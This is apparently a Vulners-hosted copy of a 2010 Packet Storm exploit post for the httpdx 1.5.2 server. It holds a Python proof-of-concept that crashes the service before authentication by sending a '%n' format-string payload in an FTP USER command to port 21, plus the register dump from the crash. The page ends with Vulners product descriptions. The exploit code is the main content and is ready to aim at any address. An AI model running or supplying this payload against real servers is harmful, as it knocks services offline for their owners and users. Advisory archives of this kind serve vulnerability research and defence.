Lucene search
K

httpdx 1.5.2 Pre-Auth Denial Of Service

🗓️ 08 Feb 2010 00:00:00Reported by loneferretType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

httpdx v1.5.2 Pre-Auth Denial Of Service Po

Code
`  
  
# Title: httpdx v1.5.2 Remote Pre-Authentication DoS (PoC crash)  
# Found by: loneferret  
# Hat's off to dookie2000ca  
# Date: 06/02/2010  
# Software link: http://httpdx.sourceforge.net/downloads/  
# Tested on: Windows XP SP3 Professional  
  
# Nod to the Exploit-DB Team  
  
#EAX 00000000  
#ECX 00000005  
#EDX 003E39AC  
#EBX 003EC96E  
#ESP 0186B7F4  
#EBP 0186BA60  
#ESI 0186B83C  
#EDI 003EC997 ASCII " "  
#EIP 77C42AC4 msvcrt.77C42AC4  
#C 0 ES 0023 32bit 0(FFFFFFFF)  
#P 1 CS 001B 32bit 0(FFFFFFFF)  
#A 0 SS 0023 32bit 0(FFFFFFFF)  
#Z 1 DS 0023 32bit 0(FFFFFFFF)  
#S 0 FS 003B 32bit 7FFD8000(FFF)  
#T 0 GS 0000 NULL  
#D 0  
#O 0 LastErr ERROR_SUCCESS (00000000)  
#EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)  
  
#!/usr/bin/python  
  
import socket  
  
buffer = "\x25\x6e"  
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address  
s.recv(1024)  
s.send('USER '+ buffer +'\r\n') #yup, doesn't take much does it.  
s.recv(1024) #  
s.close #don't really need these, force of habit  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation